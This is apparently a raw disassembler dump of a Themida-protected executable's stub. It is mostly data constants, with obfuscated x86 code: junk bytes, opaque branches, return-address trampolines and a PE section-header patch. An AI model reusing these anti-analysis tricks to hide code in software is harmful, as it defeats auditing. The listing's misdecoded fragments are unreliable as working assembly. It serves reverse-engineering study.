--------------------------------------------------------------------------- db 7Ah dd 3C8B8F9Eh, 0A456A54Ch, 0A9147601h, 860FFA17h db 0B3h ; --------------------------------------------------------------------------- loc_5EB1F5: ; CODE XREF: sub_5EB0A4+13Aj push 1000h jl loc_5EB201 cld loc_5EB201: ; CODE XREF: sub_5EB0A4+156j push dword ptr [ebp+61423B5h] jbe loc_5EB219 jo loc_5EB219 jle $+6 loc_5EB219: ; CODE XREF: sub_5EB0A4+163j ; sub_5EB0A4+169j call eax jo loc_5EB222 cld loc_5EB222: ; CODE XREF: sub_5EB0A4+177j mov edi, [ebp+61423B5h] pusha cld jmp loc_5EB235 ; --------------------------------------------------------------------------- add ch, [ecx-14545E5Bh] loc_5EB235: ; CODE XREF: sub_5EB0A4+186j popa add edi, [edi+3Ch] cmc add edi, 0F8h clc mov dword ptr [edi+24h], 60000020h pusha mov ch, dh and ah, 0Fh popa loc_5EB24F: ; CODE XREF: sub_5EB0A4+A6j lea ebx, [ebp+614122Dh] jmp loc_5EB264 ; --------------------------------------------------------------------------- dw 634Fh dd 57ED02CDh, 4C432C46h ; --------------------------------------------------------------------------- loc_5EB264: ; CODE XREF: sub_5EB0A4+1B1j mov eax, [ebx] ja loc_5EB280 jmp loc_5EB280 ; --------------------------------------------------------------------------- db 63h, 0BEh, 22h dd 1192EF3h, 7FEAD191h, 1C49EE3Dh ; --------------------------------------------------------------------------- loc_5EB280: ; CODE XREF: sub_5EB0A4+1C2j ; sub_5EB0A4+1C8j or eax, eax jz loc_5EB2C0 jo loc_5EB2A7 jz loc_5EB2A7 jmp loc_5EB2A7 ; --------------------------------------------------------------------------- db 0Fh, 1Fh, 6Fh dd 0D75696BEh, 416B5ED7h db 94h, 0ACh, 78h ; --------------------------------------------------------------------------- loc_5EB2A7: ; CODE XREF: sub_5EB0A4+1E4j ; sub_5EB0A4+1EAj ... mov eax, [eax] stc mov [ebx+4], eax jmp loc_5EB2C0 ; --------------------------------------------------------------------------- dw 346Ch ; --------------------------------------------------------------------------- sbb byte ptr [ecx+ebp-2], 7 fisubr word ptr [ecx+21E7549h] pusha loc_5EB2C0: ; CODE XREF: sub_5EB0A4+1DEj ; sub_5EB0A4+209j mov ecx, 234CF6h lea ecx, [ebp+61AD866h] push 0 push eax call sub_5EB2D6 and [eax-3Dh], bl sub_5EB0A4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5EB2D6 proc near ; CODE XREF: sub_5EB0A4+22Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5EB2D6 endp ; --------------------------------------------------------------------------- dw 0BC67h ; --------------------------------------------------------------------------- jnp short near ptr loc_5EB2F9+2 fxam cmp [ecx+1402458Dh], ecx push es jge loc_5EB2FF loc_5EB2F9: ; CODE XREF: Themida_:005EB2E8j mov [ebp+6141D2Dh], eax loc_5EB2FF: ; CODE XREF: Themida_:005EB2F3j sbb di, 23ABh mov [ebp+6142B69h], ecx push 0 push ebp call sub_5EB315 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EB315 proc near ; CODE XREF: Themida_:005EB30Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5EB315 endp ; --------------------------------------------------------------------------- db 0FAh, 0D8h, 71h ; --------------------------------------------------------------------------- xor eax, 0F55140EDh mov dword ptr [ebp+6141055h], 632Ch push 0 push ecx call sub_5EB342 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EB342 proc near ; CODE XREF: Themida_:005EB33Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5EB342 endp ; --------------------------------------------------------------------------- dw 4360h dd 0B1DA15E0h, 8DBD89E8h, 8B061402h, 141B2995h, 3D85C706h dd 61401h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C6A6C356h, 57D8C07Ch, 8B8D970Bh dd 14310595h, 1DB5FF06h, 6A06140Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 3753C351h dd 4023FB68h, 8E1285F7h, 10999D23h, 95FF0614h, 6140BD9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 17C35545h dd 57CBF1F4h, 0E4830A4h, 45958BD5h, 6A061403h, 7195FF00h dd 8B061429h, 573EEBC0h, 95557A8Ah, 0DB09CE8Eh, 9C3D35C1h dd 4878E8D5h, 40120F46h, 4730E94Ch, 0E8FA6679h, 0C83B9DF7h dd 99EA43E2h, 0CF012FB7h, 0CBCD02EDh, 88D31FE3h, 1BB2BE73h dd 51C8209Ah, 5A9A55B1h, 6E871h, 165C0000h, 69326226h dd 87D9509h, 81580614h, 198CAAE2h, 0BEC08160h, 8B000065h dd 142975B5h, 0BB06h, 958B0000h, 6140095h, 0E9183C8Bh dd 7, 7513681Fh, 813E9D20h, 0D74A0AC7h, 0ED17BA07h, 0C7813C0Dh dd 6E8CDEC9h, 81C88B66h, 0D19561C7h, 3C89F904h, 0D5958918h dd 80061425h, 0EB83AEF5h, 0CAB70F04h, 9AF4FB81h, 850FFFFFh dd 14h, 63D98056h, 3AE95Ah, 0A5880000h, 95900A9Ah, 0B729771Bh dd 14E8h, 0EF406B00h, 0A4077446h, 0B56504A0h, 0FBF09A4Bh dd 0A81F72EBh, 818D898Ah, 5A06142Eh, 0FFFF7FE9h, 74EA44FFh dd 2F2C520Bh, 9410ACECh, 5E8h, 6CA52200h, 0D781D410h, 681A260h dd 0C181FC59h, 6F1Ah, 312DBD8Bh, 92680614h, 0F00001Bh dd 1F8Ch, 13E800h, 0EBED0000h, 638B77Ch, 2D7BB8D0h, 6D95AAECh dd 9D0C0DEFh, 0BFE381F2h, 5B61B8BEh, 0BE958h, 4FB90000h dd 0FCDF20E7h, 0DC06AC1Ah, 66318B7Fh, 81F181BAh, 0B7DE25F6h dd 8172B35Fh, 685ED6C6h, 0EBEE813Fh, 0B01C610h, 142C699Dh dd 0B5895606h, 6140E21h, 0E981018Fh, 7B5D9262h, 5EC181F5h dd 517B5D92h, 7658529h, 815F0614h, 1E8h, 25850F00h, 0E9000000h dd 11h, 5914E67Dh, 9F852250h, 89D57F92h, 0EBF81F82h, 1DE959h dd 0CF830000h, 0F9A6E1BFh, 565F9860h, 0E9D3BF0Fh, 0FFFFFF89h dd 1900BD9Fh, 34F8C2D3h, 0E9136C6Eh, 27h, 740CEBC2h, 8 dup(0) dd 0E9000000h, 576h, 8084F717h, 73B7E6E7h, 58DCD9F4h, 46CAC1CFh dd 33F7AAD9h, 0F3E84A8h, 0F4118E92h, 0DEEA75B9h, 0BEC05FA3h dd 0D32E4BCFh, 0EA48E752h, 0EDD77C55h, 6366567h, 4EFD3A95h dd 0C553F092h, 927AC956h, 95F953F0h, 6EDD5A71h, 0E553F092h dd 0CDFC9361h, 0B1D34CD0h, 8BBDC2FAh, 576DFB10h, 57F364CEh dd 3B1697A4h, 0B853F0FFh, 116E5ED4h, 0C98DBDF0h, 0C6F8076Eh dd 0B8D453D7h, 928D0806h, 12163A77h, 0E3E7995h, 0B685229Dh dd 0CD53F0FFh, 0FA1E93B2h, 2F666338h, 3259B81Fh, 4A47F713h dd 7CEB2F53h, 0FA3B534Ah, 53F0FC40h, 7F7B927Dh, 8594FAB1h dd 6DCDh, 5F025200h, 3280EBBh, 67818B89h, 0A7063665h, 53F0929Ah dd 0FF0F8A86h, 1C2C6160h, 42C82F68h, 63BED5BAh, 3B4DEF1Ch dd 0A8CC4840h, 8C58866Ah, 1668594h, 0B2000000h, 7376667h dd 25564778h, 77922426h, 6286023Ah, 3D4B1490h, 0A5123646h dd 9F0E3F4Eh, 6799E09Bh, 0BECEBDCFh, 9506365Ah, 0F0923908h dd 0B2D6BA53h, 0E299AB60h, 6867D41Eh, 0B315E2C7h, 0ACD07089h dd 0CBC2C39Ch, 0E4A1ACB3h, 77E8BD4h, 205D68F7h, 0EF48AC28h dd 53CC8288h, 8B83FA0Ch, 0BAF3100Fh, 6F0C0682h, 0D7CAF908h dd 0B2D453h, 0B96E7DFEh, 40D899CBh, 9300385Ch, 9035BBC5h dd 0BEA6FD03h, 1BB16758h, 0E9A4A127h, 0C35175D1h, 7784010Ch dd 6DA7D6E8h, 0EA01CC51h, 94DA52E8h, 914C85h, 67680000h dd 0C4C1CE68h, 0BCD7A8A0h, 97B6C9C1h, 86AAE5E1h, 0A9980576h dd 2A53F092h, 0D4C7F926h, 0E037E0A4h, 0D0E8A3A1h, 3EC5074h dd 0F3AEDDECh, 372F88D8h, 4CB51F8Ah, 0A4B3B1DAh, 9B99A240h dd 4C4140DFh, 6E25233Ch, 7D02015Eh, 9969C7C0h, 94A4C89Ch dd 0CBC3BACBh, 6897FE1Dh, 27022657h, 6B81D138h, 6B8594D4h dd 4Fh, 0C7686741h, 87E6F74Dh, 83B8DCB3h, 0AA49710h, 0A03F53F0h dd 74D0E8A5h, 9DE2C250h, 52063671h, 90BFCE25h, 8BDB191Dh dd 58DAD3F4h, 0F30B8283h, 0F09288B2h, 0E29FAA53h, 3B7695EAh dd 0D1385703h, 0C72EC149h, 948C658Bh, 17185h, 8BBF0000h dd 92AC9F18h, 232753F0h, 920F3AD1h, 5AE3E57Ah, 0A56E6ECFh dd 0BECEF2A1h, 0D3EBA6A1h, 0A027B8Ch, 808AE14Eh, 2A59B09Fh dd 0E69E621Fh, 27F8A07h, 516A8E0Ah, 0DC9D96D4h, 0D0EB6F49h dd 0F4047789h, 0B1228290h, 0E0AACBA3h, 4CC6DA1Dh, 0FA3E6D9Fh dd 28205B6Dh, 0E561B489h, 3E779455h, 5B56710Eh, 0B1D87723h dd 137A9569h, 48434118h, 0B8F315CAh, 0A2D9EB74h, 0F8B3D5AAh dd 0E393BFC0h, 7787ABE2h, 97A7D6E8h, 77BBD261h, 809BF201h dd 61E5C2F0h, 21F38D20h, 0E125586Ah, 28DEDAAAh, 0B6A5D77Dh dd 8B4E9C7Ch, 4F688BAAh, 44000001h, 0A30C6180h, 53F09290h dd 0F00B2F13h, 0DC90B7B7h, 3444C849h, 9E62192Bh, 5A77FF01h dd 0BC8F2823h, 3755E491h, 401F2F53h, 893F4F3Eh, 0E2E4234Ah dd 61C090ABh, 0A15FC0E1h, 79AA520Ah, 0D4F83729h, 9AE19A5Eh dd 4619316Ch, 0DB3F4F4Ah, 4F9D7DB7h, 0AF8BA8E8h, 0C240F33Ch dd 84C355E4h, 97F30B82h, 54C6A173h, 0D2000000h, 0AF086580h dd 53F0929Ch, 966CC117h, 87B51C5h, 3AFD32E4h, 35FF6CC8h dd 0EEBDFA11h, 65D3F043h, 439AA9F6h, 3519D3F0h, 0F38AF911h dd 5954DED5h, 0D3F043EAh, 38F31AC5h, 0A86A2521h, 708BF114h dd 6DA7DAE9h, 4306D552h, 79DD53F0h, 9467B5h, 8B8D0000h dd 5AD8D5F4h, 20E8362h, 0EF137787h, 0A9F661DCh, 53F0929Ah dd 0FEFF3519h, 49DC6A34h, 2E3149CDh, 29D611Ch, 3C7D8D00h dd 55E49B00h, 98A7CE09h, 0A9043766h, 0E49B3D0Ch, 0B9D2B655h dd 0E49BCD7Ch, 30C24655h, 9BE10080h, 5776F560h, 0C5C0CD5Ah dd 0D2C351B5h, 4FCFB0A7h, 0DFA0D8BCh, 0B1CEFEADh, 92ED1D90h dd 580C3C71h, 2D52D83Fh, 6E7FA7CEh, 3544E11Ah, 0CE45F55Ah dd 0B723314Ah, 1ADE14DEh, 2E5D151Fh, 0DC8A335Fh, 0C26FFF25h dd 9EFA1236h, 61809294h, 2875E01Bh, 53F09219h, 0DF0CF438h dd 77B53DCh, 5BB6F103h, 848E0704h, 0DBDDFA09h, 0E6157949h dd 0E398C06Eh, 57D05310h, 55EB36E4h, 3DF71B7Fh, 0D1CCFE81h dd 0FDB0D24Dh, 0CA4A6CCDh, 8473E3C5h, 712C5E6Dh, 9D1032ADh dd 0B9F4126Dh, 740B0681h, 9D65C59h, 11A1A3E2h, 524947EFh dd 82BADE3Ah, 811EE206h, 2EFC0C7Fh, 8, 0D8F48B44h, 415357DDh dd 4346767h, 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 0E189511Fh dd 4C181h, 0BF570000h, 4, 875FF929h, 685C240Ch, 630Fh dd 53242C89h, 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h dd 14496824h, 14890000h, 0DA70BA24h, 0D589061Ah, 28BD685Ah dd 24890000h, 24048124h, 4, 0DFB8505Bh, 355E035Ah, 55E159E7h dd 0E2DE50Dh, 16CB257Ch, 0D8F70C8Ch, 73F93F35h, 89D801F3h dd 34FF5828h, 0C4835B24h, 2434FF04h, 4C4815Dh, 0E9000000h dd 0FFF9A108h, 6FD0733Ah, 4F8F8299h, 4410FCDDh, 4DB873ECh dd 3061ADFh, 27E0FFC5h, 0F564ED1Eh, 7D000CBBh, 757AAF85h dd 0EA683AE5h, 0FB6E2E92h, 2557C24Ch, 0F968BA6Fh, 0A5299471h dd 712EB821h, 78161379h, 8B16EE94h, 75C502Ah, 0C55278FDh dd 4B3C4C2Bh, 8A662923h, 1661ABB0h, 7429EB81h, 0D7646BCFh dd 55169EC2h, 60680D0Bh, 0A40F3D78h, 9B19B2FDh, 8A4A583Eh dd 0C66A15A0h, 0E8520351h, 333F5723h, 0E93913C2h, 2Bh dd 385B356Ch, 9 dup(0) dd 0E9000000h, 578h, 60A4D7F7h, 53D7C6C7h, 38FCB9D4h, 26EAA1AFh dd 13178AB9h, 0EF1EA488h, 0D4F16EB2h, 0BECA55D9h, 9EA03FC3h dd 0F34E2BEFh, 0EA7287B2h, 74F71C55h, 5AD8D3F5h, 366567D0h dd 0C8DF9506h, 0F1267DD3h, 0ADCD0E13h, 0B60ED77Bh, 0EDA0AF7Ch dd 80025229h, 0F0D32BC6h, 0B1D3888Ah, 0C956C1FAh, 53F04C7Ah dd 2F9F95F9h, 0E7A2ADBCh, 0EAA173D7h, 0CA95A5D8h, 90B4C4B9h dd 8FB1D027h, 838F181Ch, 4944401Fh, 0A594D531h, 3E53F04Ch dd 0B584215Ah, 0CE53F04Ch, 45E2264Ah, 1F9AB549h, 37476BEFh dd 0FE8785C4h, 0B5C6CD6Fh, 3E4E7222h, 868358DAh, 0A3DBD2F4h dd 8C0B0327h, 0B0746ADh, 0E7E47B90h, 0F83A9EAEh, 0EE9DAF38h dd 781887DDh, 1EE6A2BDh, 3C98B0EDh, 39AA1A18h, 536B2622h dd 8EB03DF7h, 0B353F02Eh, 504B7900h, 8956DC38h, 48CA1062h dd 55148595h, 70C36C36h, 0F353F022h, 0F7536B8Fh, 52423Dh dd 676E0000h, 0A7063665h, 53F0929Ah, 539FF699h, 85948C8Dh dd 0D29h, 242F3E00h, 0C3C7192h, 0F0546488h, 0F48B3822h dd 6F2623D5h, 5DD7334Bh, 8007D8Eh, 17275677h, 4B433A48h dd 0D649A00Fh, 0B037A97h, 0B5D6858Fh, 99AB34F8h, 7492E9E2h dd 0F53FFB39h, 0DDD8F48Bh, 34EB29ADh, 1C639815h, 407CB6EFh dd 6C9F0E3Fh, 98B0EB1Dh, 92BF8A2Bh, 503453F0h, 0A39E1F2Ch dd 2053F092h, 89D6D65Ch, 6BF40477h, 0E117275Eh, 81F73B52h dd 95001B72h, 0F0923908h, 0DB91853h, 0AC437B18h, 9DAB74D8h dd 0A072D6E6h, 5DA1DCEBh, 0BDCDC0C2h, 0F211A7A2h, 83C0FA8h dd 0D3B753F0h, 0EC738BAFh, 0D7A8A0DDh, 2A59C6B5h, 54034777h dd 6DE8F53Dh, 2536F406h, 6AA08595h, 0C000000h, 0AC9F188Bh dd 2753F092h, 0B3AD123h, 0EE196696h, 10FF9BB3h, 252726F9h dd 0F707828Dh, 0F6A56F93h, 0D160CDD7h, 5253F092h, 0D946CAEEh dd 85C4F7AAh, 95F10984h, 32502F9Fh, 48D5407Bh, 53F092F9h dd 0A01C167Ah, 809BF21Dh, 0A7D7CAF9h, 0F309D123h, 0E385948Ah dd 39h, 356867C9h, 534E7A05h, 0A9C00F3Bh, 0F2366B9Ah, 37666720h dd 92A4A607h, 0F69953F0h, 94118C9Fh, 53F092A5h, 1892B19Ch dd 0FACE4795h, 2EFC9C96h, 488594FAh, 1, 9F188B64h, 53F092ACh dd 9274C760h, 8B8F53F0h, 0AC15337h, 0A04D79FFh, 0CCEC05C5h dd 0C1F91D26h, 0BA292145h, 251CA5A3h, 697494FFh, 0DC7381A5h dd 84DBF3AAh, 6FF00885h, 0B5112964h, 16265B6Ah, 0A46E8572h dd 0E3D5483h, 2828603h, 396695E3h, 49DC24F9h, 99E6167Ah dd 0E39C667h, 908B771Ch, 0D3FA86Ch, 72CF6E9Eh, 7555E436h dd 56454706h, 8B50A226h, 68232564h, 3B64D7A4h, 55E43608h dd 54517C8Bh, 76BCA024h, 42E3A7D9h, 55E436F7h, 0A39E1F0Ch dd 2055E436h, 0E414385Ch, 512CE177h, 0E1C5B605h, 7D8D0806h dd 42441B19h, 202C334Bh, 0F80A5565h, 34437585h, 0D46355DDh dd 17C8EBDh, 788B51FDh, 302B8BA9h, 81000001h, 0E01B6180h dd 0AE9D1A75h, 2553F092h, 64E2D321h, 9D49DC90h, 0CCFE81B9h dd 263E4DD1h, 0EB9B3CB8h, 2BE032F3h, 0F96A6219h, 0BD57186Bh dd 2A2167E6h, 0E41CBE8Dh, 0C3513555h, 8B83FA0Ch, 0A8D73E5Dh dd 0B5F01C96h, 6FFE8D91h, 6EA2863h, 8BA91AD8h, 4FE6h, 9F188B00h dd 55E410ACh, 6FD12327h, 0EC1F6580h, 0F0929043h, 0DFEF53D3h dd 0F092E35Eh, 0EC03CCD3h, 0AAA1AF3Ah, 0DFF7293Fh, 53475Ch dd 9AD083F2h, 155453F0h, 0B8FBFFAh, 4E67F909h, 0D15A67EDh dd 84BCC57Bh, 293FF092h, 8C2B0105h, 41000000h, 0E01B6180h dd 0DC6A8347h, 0FB107449h, 0E62C6964h, 0EF87B9C6h, 3692AAE1h dd 6F910E12h, 9ABF8A2Bh, 0AB3455E4h, 73D7E79Eh, 40102B4Fh dd 0B5279C0Ch, 6A66CF1h, 0E49999A7h, 0E659255h, 45404C13h dd 3756D135h, 4CC6427Ah, 0FA3E6D9Fh, 0FE0D7B8Ah, 0CFB86EB1h dd 6961E54Fh, 81B9F416h, 66C0D706h, 5DDAF187h, 45F55F02h dd 404C138Eh, 88D13545h, 41B95FB9h, 44387391h, 0A93632C0h dd 38FCE09Bh, 960F3C43h, 0B3EE1966h, 8083858Fh, 99E01B61h dd 0CDFE3467h, 0DBB33D60h, 99067149h, 55EA72AAh, 9BEF2529h dd 0C6F887B7h, 0B2D453D7h, 0F862C3FBh, 0E1972841h, 9EA0DF36h dd 8ABC2BEFh, 6664FB13h, 0CC5C6FDDh, 5B7F24AEh, 1E75A423h dd 534A7C03h, 6F5D2D3Bh, 86CFD1FEh, 0C9FB9062h, 96ABB9D2h dd 215BA7BBh, 0DF48080Ah, 0FCCEFEADh, 0Ah, 0D7F48B7Ah dd 0E82AAEDEh, 6767DAD8h, 497B0434h, 29253A52h, 4015E6Eh dd 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h dd 531F2757h, 0C381E389h, 4, 8704EB83h, 248B241Ch, 104A6824h dd 1C890000h, 6EC96824h, 34890000h, 21DA6824h, 4890000h dd 1A51B824h, 0E8C101EDh, 1BA80D08h, 0D6055F5Eh, 89A6BAE0h dd 8B5458C3h, 0C4832434h, 4EC8304h, 0B9240C89h, 8, 1989F101h dd 2434FF59h, 4C4815Eh, 8B000000h, 8952241Ch, 4C281E2h dd 81000000h, 4C2h, 24148700h, 9ADEE95Ch, 0B7A2FFF9h, 6AA5D88Eh dd 1AE587B8h, 0FFC50306h, 0A27CA3E0h, 0E20D4F66h, 9367A17Bh dd 1A512D22h, 0B74AEA50h, 0B174C334h, 5C16316h, 0B823A12Ah dd 97057936h, 0A82C2833h, 6D73C26Bh, 0A5102F2Eh, 1DC4A217h dd 0B8964963h, 0A28CF81Dh, 0FE8D8D01h, 0E8061AE6h, 0Ah dd 9BAE986h, 0BE6F1F0Fh, 0BE95696h, 0FF000000h, 0EFE606E6h dd 404118Ch, 895FABC9h, 142B698Dh, 0D59D0306h, 0C7061425h dd 14105585h, 6A4406h, 38F0F00h, 80000000h, 85C7E9E2h dd 614013Dh, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5EC243 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EC243 proc near ; CODE XREF: Themida_:005EC23Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5EC243 endp ; --------------------------------------------------------------------------- dec esi fisttp dword ptr [ebp+ebx*8-59D5B315h] mov esp, 89B5FF08h and edx, [esi+eax] push 0 push ebp call sub_5EC26E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EC26E proc near ; CODE XREF: Themida_:005EC266p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5EC26E endp ; --------------------------------------------------------------------------- dw 3374h dd 4B64B98Dh, 0FFCDE04Bh, 140BD995h, 858D3106h, 6A061419h dd 7195FF00h, 8B061429h, 801CEBC0h, 0C55A1688h, 688E87E0h dd 4599C878h, 0FDF12EFBh, 189387ABh, 342259E6h, 0E90C7728h dd 39h, 35F3DE83h, 0Dh dup(0) dd 4CDE900h, 0A9680000h, 0E9061AE8h, 0FFF99974h, 1AE91068h dd 996AE906h, 6C68FFF9h, 0E9061AEAh, 0FFF99960h, 70B4E7E7h dd 63A7D6F7h, 48CCC9C4h, 36FAB1DFh, 23E79AA9h, 0FF0EB498h dd 0E4E17E82h, 0CEFA65A9h, 0AED04FD3h, 0E35E3BFFh, 0EA75F742h dd 64C70C55h, 9CACE7E5h, 6770FA38h, 7A053568h, 0BAD15548h dd 0DDEDA8A3h, 0E203BB79h, 0AD0A6596h, 53F0929Eh, 0C0E33115h dd 0DC658B67h, 0A0D8BC49h, 661F2C33h, 0B520F256h, 55E4858Ah dd 0DB233168h, 0B9881527h, 3A55E482h, 3863C056h, 0FA11FE34h dd 0A97A32F8h, 62F48C8Bh, 9826C925h, 60F8B973h, 0E9F7888Eh dd 307582Bh, 97ED0000h, 3E7F3F39h, 55E45603h, 0C6ABC80h dd 6DD75DEBh, 5EAF591Eh, 6294112Ah, 0BC49DC6Bh, 0EA189EADh dd 7D858FB3h, 689D43EBh, 0FF0C13DBh, 0E4B883BEh, 183C0055h dd 1FC60021h, 92735619h, 86B6F11Dh, 40ED1E02h, 4AA5FECAh dd 5C14272Bh, 62D0A0Eh, 46145322h, 0BD732DC3h, 64DCE82Ah dd 5BC4F785h, 40511832h, 51E1E37Ah, 0C94D7D30h, 0F63195A5h dd 2858DAD7h, 36481724h, 2224C347h, 1300337Ch, 0BF835C51h dd 0ADE4949Bh, 2C9C5F8Ch, 2EF1Eh, 0C3BECE00h, 0EE9FA03Fh dd 1792BD2Ah, 3F769413h, 205D6CFBh, 0CD755FDCh, 0A03FC3BEh dd 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 7AB2812Eh, 823155EAh dd 1B61801Eh, 192875E0h, 9A53F092h, 0E2437CB6h, 49DBB573h dd 0E8778488h, 0C760A4D9h, 4A5D5C8h, 55EA7538h, 255877F6h dd 9F0E30EFh, 1347F298h, 0C1E8E69h, 288h, 0E0245777h, 0D3574647h dd 0B87C3954h, 0A66A212Fh, 93970A39h, 6F9E2408h, 5471EE32h dd 3E4AD559h, 1E20BF43h, 73CEAB6Fh, 0EA7B0732h, 4D779C55h dd 0E01B6180h, 0DBB5D047h, 17272B49h, 0EA75B796h, 638A5555h dd 61D05DC8h, 0E255EA75h, 26F4949Eh, 0B08BAF70h, 1B5h dd 0FEF68FC5h, 0C1C964DFh, 14FEBA55h, 6BA9CD6Dh, 216567E1h dd 6B722F5Ah, 53F092D8h, 0AFDFCEF0h, 0CFF3572Bh, 0EF9EA0BFh dd 0FE8A5B2Bh, 63AE60CDh, 790049DCh, 0AADE5447h, 281796A6h dd 0CA55E483h, 77688D7h, 0E79D93F7h, 0C9AAD4BFh, 0B3DAA173h dd 0A92879A7h, 32058Bh, 80930000h, 47E01B61h, 49DC6CD7h dd 0FAB1DF28h, 2A2246C2h, 0E49CB48Bh, 60B75655h, 0A89ACC12h dd 7EBF2A8Bh, 55E490C3h, 0D1A5E0EBh, 0E4C4A76Dh, 0D0000000h dd 0D8D5F48Bh, 1F83855Ah, 0F092A39Eh, 385C2053h, 43517C03h dd 0F09257E2h, 4468EC53h, 6242D034h, 3748EE1Dh, 55D23646h dd 27577B36h, 47772658h, 5A6C0638h, 0B2FB3F23h, 53F097EDh dd 732E5A21h, 5ED8EAA1h, 3A517530h, 5C6C2723h, 0D7E3AF8h dd 97261592h, 0D9BD53F0h, 0F682635Bh, 0F2A458C5h, 0A9AD49DFh dd 0C1BCCB92h, 0EEA3A23Dh, 17848D29h, 0E5B72769h, 12Ch dd 7C80FB0Bh, 67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h, 1FE39EADh dd 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh dd 0EA788B46h, 0C1CB0855h, 6356867h, 321A684Eh, 0DF849A17h dd 0FEBA7842h, 0A695128Dh, 3D53F0E9h, 0E952E14Eh, 6DD153F0h dd 0F214CB49h, 0CBF980BBh, 0E59642D0h, 0E91E2D8Ah, 4A9553F0h dd 0CD49413Ch, 67E16BA9h, 79063665h, 0B0D05447h, 5C8DD951h dd 7883ABA6h, 0DFEF9EAFh, 0FB24577Bh, 49DC9845h, 0A2911E89h dd 2155E590h, 0AF93D75Dh, 0C3BECD9Ch, 90CF7E3Fh, 7C0355E5h dd 0EDD574Eh, 0E27D81FCh, 8C9EAEE3h, 7Ch, 1B61802Ah, 0B5D447E0h dd 0D92F49DBh, 0A56C3DC7h, 910C3DB9h, 0D5F91D79h, 0F5A8DAA5h dd 7FCA6BC6h, 0F455EA01h, 0A5D68290h, 0BAFBA9A6h, 55EA018Fh dd 161C0004h, 24544779h, 0E796A8B7h, 34A173D7h, 0A193D278h dd 205FB661h, 3CAB6F1Eh, 0E47B930Ah, 389FAFE6h, 7193B2D9h dd 0A4C8C3C1h, 0BA95C197h, 5914F8BEh, 1D6C1FDBh, 0AD62B0EBh dd 0B3EA1B9Bh, 0E31B3F9Bh, 3D1h, 0A68C5F00h, 4346767h dd 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh, 0C3FBB6D5h dd 0E7178EBCh, 18306D98h, 27574647h, 5124681Fh, 14890000h dd 3D426824h, 0C890000h, 44076824h, 1C890000h, 4EC8324h dd 0B8240489h, 61AE780h, 5458C189h, 81241C8Bh, 4C4h, 4EC8300h dd 89240489h, 84389C8h, 241C8B58h, 81E78957h, 4C7h, 4C78300h dd 5C243C87h, 51240C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch dd 0FFF994BCh, 0BCF13FBDh, 0F875DBDDh, 0B8E38C81h, 61AEBBDh dd 0E0FFC503h, 388ECBF4h, 141567F2h, 211F1ED1h, 3112C9C5h dd 471C3D55h, 1F59CED6h, 4C44609Bh, 66C2C6ECh, 5C770578h dd 3881DD7Ch, 359C9FB2h, 29E62E21h, 649814E8h, 39E9h, 840D0400h dd 56h, 0Ch dup(0) dd 0ECE90000h, 6800000Ah, 61AEDFEh, 0FA56D4E9h, 0EF0768FFh dd 0CAE9061Ah, 68FFFA56h, 61AF124h, 0FA56C0E9h, 0F1DE68FFh dd 0B6E9061Ah, 68FFFA56h, 61AF371h, 0FA56ACE9h, 0F50B68FFh dd 0A2E9061Ah, 68FFFA56h, 61AF5EAh, 0FA5698E9h, 0E03F93FFh dd 4FDE35B3h, 2885C818h, 0F12C6DFBh, 59D20242h, 5906C72Ah dd 0F10FA4F7h, 95D3009Bh, 2CBCEB42h, 6C02B1EEh, 6DEFD5EDh dd 0BBB33982h, 0FB386636h, 77ACEA82h, 30336CC0h, 921C2D55h dd 3CAE3573h, 91EFD149h, 59FD397Bh, 3EB1FE05h, 366B8D54h dd 8E000000h, 35D8D98Ah, 8B2EBD0Ah, 541275Fh, 97413368h dd 2D4ACB65h, 1B029DF3h, 14D9E969h, 0AE357414h, 0EFD1493Ch dd 0FD397C0Bh, 0B1FE0559h, 6B8D549Ch, 0CDh, 0FB38668Eh dd 71AAEA82h, 0DBBF8F0Ch, 0A13955DBh, 0F727C141h, 6BABC5B8h dd 87A79F34h, 7336851h, 0DD2B58D7h, 0DE3F267Dh, 16DAFC60h dd 304E2EC2h, 95D74EDFh, 0EFEC9FADh, 79DF416Eh, 39222226h dd 59357415h, 6B0478AFh, 21D5ED68h, 0E53B858Bh, 0DBFF227h dd 0C813E300h, 2267B098h, 60467CD9h, 20336A5Ch, 454D2B6h dd 0D137CABh, 29F753CAh, 1E0FB4E7h, 2026A89Fh, 8BC65B5h dd 36980000h, 0D53A4AF9h, 7CD12F44h, 2372F221h, 0C90B598Eh dd 71BE2156h, 6BDEE2Eh, 0EA1992C6h, 0B3E0399Ah, 194EE535h dd 0F8DEE465h, 8839826Eh, 366639A4h, 0E03E4EE5h, 0FB5AC243h dd 0E06DA2A6h, 27A94F12h, 0FC021C4Dh, 33683716h, 0CA4EF86Ah dd 0DAD98A0Fh, 7EEC5A7Bh, 